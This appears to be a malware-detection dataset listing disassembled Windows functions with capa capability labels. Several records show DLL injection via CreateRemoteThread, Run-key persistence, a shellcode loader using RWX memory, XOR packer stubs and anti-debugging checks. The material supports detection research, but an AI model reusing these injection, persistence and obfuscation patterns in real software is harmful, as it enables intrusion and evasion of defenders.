joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10150670
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x101b3820]
xor eax, ebp
mov dword [ebp - 4], eax
cvtss2sd xmm0, dword [ebp + 0x10]
sub esp, 8
movsd qword [esp], xmm0
push 0x1019cc80
lea eax, [ebp - 0x104]
push eax
call fcn.1006388a
add esp, 0x10
mov ecx, dword [ebp + 0x14]
push ecx
push 0xff
lea edx, [ebp - 0x204]
push edx
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x204]
push eax
call fcn.1006514c
add esp, 4
fstp dword [ebp - 0x208]
fld dword [ebp - 0x208]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062440
mov esp, ebp
pop ebp
ret

Function at 0x10150700
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 4
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [edx], eax
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
push 4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret

Function at 0x101507b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx edx, byte [ebp + 8]
cmp edx, 0xff
je 0x101507dc
mov eax, dword [ebp + 0xc]
mov cl, byte [ebp + 8]
mov byte [eax], cl
lea edx, [ebp + 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0xc]
add eax, 5
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
sub edx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax + 1], edx
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
push 5
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x10152670
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0
mov eax, 0x861110
call eax
mov edx, 0x861260
mov ecx, eax
call edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
jmp 0x101526ac
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xcc
jge 0x101527d8
mov ecx, dword [ebp - 8]
push ecx
mov edx, 0x83c3c0
mov ecx, dword [ebp - 0xc]
call edx
mov dword [ebp - 0x1c], eax
mov eax, 0x83cbe0
mov ecx, dword [ebp - 0xc]
call eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x20]
jne 0x101526e4
jmp 0x101527d8
mov edx, dword [ebp - 0x1c]
push edx
mov eax, 0x835720
mov ecx, dword [ebp - 0xc]
call eax
mov dword [ebp - 0x28], eax
push 0x40
mov ecx, dword [ebp - 8]
push ecx
mov edx, 0x83c4b0
mov ecx, dword [ebp - 0xc]
call edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov edx, 0x7da660
mov ecx, dword [ebp - 0x28]
call edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x101527d3
mov eax, dword [ebp - 0x10]
movzx ecx, word [eax]
mov edx, dword [ebp + 8]
movsx eax, word [edx]
cmp ecx, eax
jne 0x101527d3
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov ecx, dword [edx + 2]
cmp ecx, dword [eax + 2]
je 0x10152750
jmp 0x101526a3
mov edx, dword [ebp - 4]
movsx eax, byte [edx + 0x17]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx + 0x17]
cmp eax, edx
je 0x10152767
jmp 0x101526a3
mov eax, dword [ebp - 4]
movsx ecx, byte [eax + 0x18]
mov edx, dword [ebp + 8]
movsx eax, byte [edx + 0x18]
cmp ecx, eax
je 0x1015277e
jmp 0x101526a3
movzx ecx, byte [ebp + 0xc]
test ecx, ecx
je 0x101527a7
mov edx, dword [ebp - 4]
movzx eax, byte [edx + 0x16]
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 0x16]
cmp eax, edx
jl 0x101527a5
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + 0x16]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
jmp 0x101527ca
mov edx, dword [ebp + 8]
movzx eax, byte [edx + 0x16]
cmp eax, 0xffffffff
je 0x101527ca
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + 0x16]
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x16]
cmp edx, ecx
je 0x101527ca
jmp 0x101526a3
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
jmp 0x101526a3
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x101527e5
mov eax, dword [ebp - 0x14]
jmp 0x101527e8
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 8
Function at 0x10158eb0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
sub eax, dword [ecx + 0x40]
cmp eax, 0x3e8
jae 0x10158ed1
jmp 0x10158f9b
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
cmp dword [eax + 0x14], 0
je 0x10158f07
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx + 0x14]
cmp dword [eax + 0x40], 0
jle 0x10158f07
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx + 0x14]
mov ecx, dword [eax + 0x40]
sub ecx, 1
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
mov edx, dword [eax + 0x14]
mov dword [edx + 0x40], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
add ecx, 4
mov dword [ebp - 0x10], ecx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.10009e10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.10009e40
jmp 0x10158f35
lea ecx, [ebp - 0xc]
call fcn.1001e5b0
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0xc]
call fcn.10002600
movzx edx, al
test edx, edx
je 0x10158f8f
lea ecx, [ebp - 0xc]
call fcn.1000a420
mov eax, dword [eax]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
cmp dword [edx + 0x14], 0
je 0x10158f75
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov edx, dword [ecx + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
cmp ecx, dword [edx]
jne 0x10158f75
jmp 0x10158f2d
mov edx, dword [ebp - 8]
cmp dword [edx + 0x40], 0
jle 0x10158f8d
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x40]
sub ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx + 0x40], ecx
jmp 0x10158f2d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x40], eax
mov esp, ebp
pop ebp
ret
Function at 0x1015be10
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x101b3820]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], ecx
mov eax, dword [ebp - 0x60]
cmp dword [eax + 0x50], 0
je 0x1015be3f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x60]
sub eax, dword [ecx + 0x50]
cmp eax, 0x1388
jae 0x1015be44
jmp 0x1015bf03
push 0x55
push 0x50
push 0xf2
lea ecx, [ebp - 0x5c]
call fcn.1000fb80
push 0xa
mov edx, dword [ebp - 0x60]
add edx, 4
push edx
lea eax, [ebp - 0x58]
push eax
call fcn.10150250
add esp, 0xc
push 0xa
mov ecx, dword [ebp - 0x60]
add ecx, 0xf
push ecx
lea edx, [ebp - 0x4e]
push edx
call fcn.10150250
add esp, 0xc
mov eax, dword [0x101bba64]
mov ecx, dword [eax]
mov dword [ebp - 0x3a], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x36], edx
mov ax, word [eax + 8]
mov word [ebp - 0x32], ax
push 0x23
push 0x101bb9f0
lea ecx, [ebp - 0x2c]
push ecx
call fcn.10150250
add esp, 0xc
mov ecx, 0x101e0bee
call fcn.100c1870
mov byte [ebp - 8], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x30], eax
movzx edx, byte [ebp - 0x5b]
push edx
lea eax, [ebp - 0x5c]
push eax
call fcn.10148df0
add esp, 8
mov ecx, dword [ebp - 0x60]
mov dword [ecx + 0x50], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 0x60]
mov dword [edx + 0x24], eax
movss xmm0, dword [0x101a00e0]
movss dword [0x101bbfbc], xmm0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x60]
mov dword [ecx + 0x28], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10062440
mov esp, ebp
pop ebp
ret

Function at 0x1015bf20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
sub eax, dword [ecx + 0x24]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x80]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x58]
imul ecx, ecx, 0x3e8
cmp eax, ecx
jae 0x1015bf52
jmp 0x1015bffd
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x3c]
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x2c
push ecx
call fcn.1015c800
add esp, 8
test eax, eax
je 0x1015bfa1
mov dword [0x8793704], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 4]
mov dword [edx + 0x50], eax
movss xmm0, dword [0x101a00e0]
movss dword [0x101bbfbc], xmm0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x28], eax
jmp 0x1015bffd
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x80]
add eax, 1
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x80], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x80], 0xa
jne 0x1015bfcb
mov eax, dword [ebp - 4]
mov byte [eax + 0x55], 1
jmp 0x1015bffd
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x50], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 4]
mov dword [edx + 0x24], eax
movss xmm0, dword [0x101a00e0]
movss dword [0x101bbfbc], xmm0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x28], eax
mov esp, ebp
pop ebp
ret
Function at 0x1015d110
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + 0x55]
test ecx, ecx
jne 0x1015d124
jmp 0x1015d185
push 0
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x98]
call fcn.100989e0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x98]
call fcn.10098a80
movzx ecx, al
test ecx, ecx
je 0x1015d15d
push 0x19
mov ecx, 0x101e2e2c
call fcn.10100450
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xd
mov edx, 0x791050
call edx
add esp, 4
test eax, eax
jne 0x1015d17d
push 0x1b
mov eax, 0x791050
call eax
add esp, 4
test eax, eax
je 0x1015d185
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x1015f030
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0xe61f84]
mov eax, dword [edx + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_send]
pop ebp
ret
Function at 0x1016cf10
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 4
jb 0x1016cfe3
mov edx, dword [ebp - 4]
shr edx, 8
mov eax, 1
imul eax, eax, 0
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor eax, dword [ebp - 4]
and eax, 0xff
xor edx, dword [eax*4 + 0x1019fce0]
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 4]
shr ecx, 8
mov edx, 1
shl edx, 0
mov eax, dword [ebp - 8]
movzx edx, byte [eax + edx]
xor edx, dword [ebp - 4]
and edx, 0xff
xor ecx, dword [edx*4 + 0x1019fce0]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
shr eax, 8
mov ecx, 1
shl ecx, 1
mov edx, dword [ebp - 8]
movzx ecx, byte [edx + ecx]
xor ecx, dword [ebp - 4]
and ecx, 0xff
xor eax, dword [ecx*4 + 0x1019fce0]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
shr edx, 8
mov eax, 1
imul eax, eax, 3
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor eax, dword [ebp - 4]
and eax, 0xff
xor edx, dword [eax*4 + 0x1019fce0]
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 8]
add ecx, 4
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
sub edx, 4
mov dword [ebp + 0x10], edx
jmp 0x1016cf25
cmp dword [ebp + 0x10], 0
je 0x1016d025
mov eax, dword [ebp - 4]
shr eax, 8
mov ecx, 1
imul ecx, ecx, 0
mov edx, dword [ebp - 8]
movzx ecx, byte [edx + ecx]
xor ecx, dword [ebp - 4]
and ecx, 0xff
xor eax, dword [ecx*4 + 0x1019fce0]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0x10]
sub eax, 1
mov dword [ebp + 0x10], eax
jmp 0x1016cfe3
mov eax, dword [ebp - 4]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x401489
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
jne 0x4014ae
mov eax, 1
jmp 0x4014b3
mov eax, 0
leave
ret

Function at 0x4014b5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [esp + 8], 0x3e8
lea eax, [ebp - 0x3f4]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0x3e8
lea edx, [ebp - 0x3f4]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x4015cd
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [esp], str.Kernel32
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401715
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x401734
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
lea eax, [ebp - 0x11]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x40177d
mov eax, dword [ebp - 0xc]
jmp 0x401795
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, eax
mov eax, dword [ebp + 0xc]
add edx, eax
movzx eax, byte [ebp - 0x11]
mov byte [edx], al
jmp 0x401748
leave
ret
Function at 0x4018f4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
nop
leave
ret
Function at 0x402250
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40229b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402294
test esi, esi
je 0x402294
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402270
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402480
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4024d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4025a8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40250e
cmp eax, 4
jne 0x402530
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40251e
cmp edx, 4
je 0x40251e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402480
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1fdc4655
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..text_1
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x36512f35
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x2eef4048
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data_1
nop
mov ebx, 0x42f314
nop
mov ecx, 0x6b755558
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x106f5e22
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x30ad6c09
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x431005
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x43100c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219